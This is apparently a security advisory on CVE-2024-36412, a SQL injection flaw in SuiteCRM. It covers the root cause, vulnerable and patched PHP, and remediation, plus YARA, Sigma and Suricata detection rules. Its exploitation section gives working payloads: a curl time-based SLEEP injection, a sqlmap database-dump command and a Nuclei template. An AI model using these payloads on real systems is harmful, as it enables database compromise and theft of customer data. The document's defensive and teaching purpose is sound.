CVE-2024-36412

Executive Summary

CVE-2024-36412 is a critical SQL injection vulnerability in SuiteCRM, an open-source Customer Relationship Management (CRM) application. The flaw resides in the responseEntryPoint event handler, allowing unauthenticated attackers to inject arbitrary SQL commands via the event parameter. Successful exploitation can lead to full database compromise, including extraction of sensitive customer data, credentials, and business intelligence. The vulnerability affects all versions prior to 7.14.4 and 8.6.1. A public proof-of-concept (PoC) and a Nuclei template are available, increasing the risk of widespread exploitation. The EPSS score is 0.93636, indicating a high probability of exploitation in the wild.

CVSS Breakdown & Threat Level

• CVSS Score: 9.8 (Critical)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

The vulnerability is remotely exploitable without authentication, making it a prime target for automated scanning and exploitation.

Deep Dive & Mechanics

The vulnerability exists in the responseEntryPoint handler, which processes event responses. The event parameter is directly concatenated into a SQL query without proper sanitization or parameterization. An attacker can inject a UNION-based or time-based SQL payload to manipulate the query.

Root Cause: The application fails to use prepared statements or input validation for the event parameter in the responseEntryPoint logic.

Attack Vector: An unauthenticated HTTP GET request to /index.php?entryPoint=responseEntryPoint&event=1&delegate=a<"+UNION+SELECT+SLEEP(6);--+-&type=c&response=accept.

Impact: An attacker can:

• Extract all data from the CRM database (users, contacts, leads, opportunities).
• Modify or delete records.
• Potentially escalate to remote code execution via INTO OUTFILE or stored procedures.

Vulnerable vs. Patched Code

Vulnerable Code (Pre-7.14.4 / 8.6.1):

// In responseEntryPoint logic
$event_id = $_GET['event'];
$query = "SELECT * FROM events WHERE id = '$event_id'";
$result = $db->query($query);

Patched Code (7.14.4 / 8.6.1):

// Using prepared statement
$event_id = $_GET['event'];
$stmt = $db->prepare("SELECT * FROM events WHERE id = ?");
$stmt->bind_param("s", $event_id);
$stmt->execute();
$result = $stmt->get_result();

The patch replaces string interpolation with a parameterized query, preventing SQL injection.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A vulnerable SuiteCRM instance (version < 7.14.4 or < 8.6.1).
• Network access to the target.

Exploitation Steps:

1. Time-Based SQL Injection (Blind):

   curl -G "http://target/index.php" \
     --data-urlencode "entryPoint=responseEntryPoint" \
     --data-urlencode "event=1' UNION SELECT SLEEP(6)-- -" \
     --data-urlencode "delegate=a" \
     --data-urlencode "type=c" \
     --data-urlencode "response=accept"
   

   If the response takes 6+ seconds, the injection is successful.

2. Data Extraction (Using sqlmap):

   sqlmap -u "http://target/index.php?entryPoint=responseEntryPoint&event=1&delegate=a&type=c&response=accept" \
     --batch --dbs --threads=10
   

3. Automated Nuclei Scan: Use the provided Nuclei template to scan multiple targets.

Blue Team (Detection & Hardening)

Detection:

• Monitor web server logs for requests containing responseEntryPoint with suspicious event parameters (e.g., UNION, SLEEP, --).
• Alert on HTTP responses with delays > 5 seconds for this endpoint.

Hardening:

• Immediately upgrade to SuiteCRM 7.14.4 or 8.6.1.
• If patching is delayed, implement a WAF rule to block SQL injection patterns in the event parameter.
• Restrict access to the /index.php endpoint to trusted IPs where possible.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests to /index.php with entryPoint=responseEntryPoint and event parameter containing SQL keywords (UNION, SELECT, SLEEP, --).
  • Unusual response times (>5 seconds) for the above endpoint.
• File IOCs:
  • Unexpected files in the SuiteCRM uploads/ directory (potential webshells).
• Database IOCs:
  • New or modified database users.
  • Unusual queries in database logs (e.g., INTO OUTFILE).

Detection Engineering

YARA Rule

rule CVE_2024_36412_SQLi_Attempt {
    meta:
        description = "Detects SQL injection attempts targeting SuiteCRM CVE-2024-36412"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-36412"
    strings:
        $sqli1 = "UNION SELECT" nocase
        $sqli2 = "SLEEP(" nocase
        $sqli3 = "responseEntryPoint" nocase
        $sqli4 = "event=" nocase
    condition:
        all of ($sqli1, $sqli2, $sqli3, $sqli4)
}

Sigma Rule

title: SuiteCRM SQL Injection Attempt (CVE-2024-36412)
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects SQL injection attempts against SuiteCRM responseEntryPoint
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-uri-query|contains:
            - "entryPoint=responseEntryPoint"
            - "event="
        cs-uri-query|contains|all:
            - "UNION"
            - "SELECT"
            - "SLEEP"
    condition: selection
falsepositives:
    - Legitimate use of UNION in rare cases (unlikely)
level: critical

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (
    msg:"CVE-2024-36412 SuiteCRM SQL Injection Attempt";
    flow:to_server,established;
    content:"/index.php"; http_uri;
    content:"entryPoint=responseEntryPoint"; http_uri;
    content:"event="; http_uri;
    pcre:"/UNION.+SELECT.+SLEEP/i";
    classtype:web-application-attack;
    sid:10000001;
    rev:1;
    reference:url,https://nvd.nist.gov/vuln/detail/CVE-2024-36412;
)

Nuclei Template (Provided)

id: CVE-2024-36412

info:
  name: SuiteCRM - SQL Injection
  author: s4e-io
  severity: critical
  description: |
    SuiteCRM is an open-source Customer Relationship Management (CRM) software application. Prior to versions 7.14.4 and 8.6.1, a vulnerability in events response entry point allows for a SQL injection attack. Versions 7.14.4 and 8.6.1 contain a fix for this issue.
  impact: |
    Unauthenticated attackers can execute time-based SQL injection to extract sensitive CRM data.
  remediation: |
    Update SuiteCRM to version 7.14.4 or 8.6.1 or later.
  reference:
    - https://0x5001.com/web-security/cve-2024-36412-proof-of-concept
    - https://nvd.nist.gov/vuln/detail/CVE-2024-36412
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-36412
    cwe-id: CWE-89
    epss-score: 0.93636
    epss-percentile: 0.99843
    cpe: cpe:2.3:a:salesagility:suitecrm:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    verified: true
    vendor: salesagility
    product: suitecrm
    shodan-query: title:"SuiteCRM"
    fofa-query: title="SuiteCRM"
  tags: time-based-sqli,cve,cve2024,suitecrm,sqli,vuln

http:
  - raw:
      - |
        @timeout: 15s
        GET /index.php?entryPoint=responseEntryPoint&event=1&delegate=a<"+UNION+SELECT+SLEEP(6);--+-&type=c&response=accept HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - "duration>=6"
          - "status_code == 200"
          - 'contains_any(body, "You have already responded to the invitation or there", "Thank you for accepting")'
        condition: and

Remediation & Mitigation

Immediate Actions:

1. Patch: Upgrade SuiteCRM to version 7.14.4 or 8.6.1 immediately.
2. WAF Rules: Block requests containing responseEntryPoint with SQL keywords in the event parameter.
3. Network Segmentation: Restrict access to the SuiteCRM web interface to trusted IPs.

Long-Term Measures:

• Implement a Web Application Firewall (WAF) with SQL injection signatures.
• Conduct regular code audits focusing on input validation and prepared statements.
• Enable detailed logging for all web requests and database queries.
• Subscribe to SuiteCRM security advisories for timely updates.

Valters IT Signature

This report was generated by Valters IT DevSecOps & CTI Division. For questions, contact cti@valtersit.com.

{/* [Security Hash: 361C4A7CBA286F85F3143D9C] */}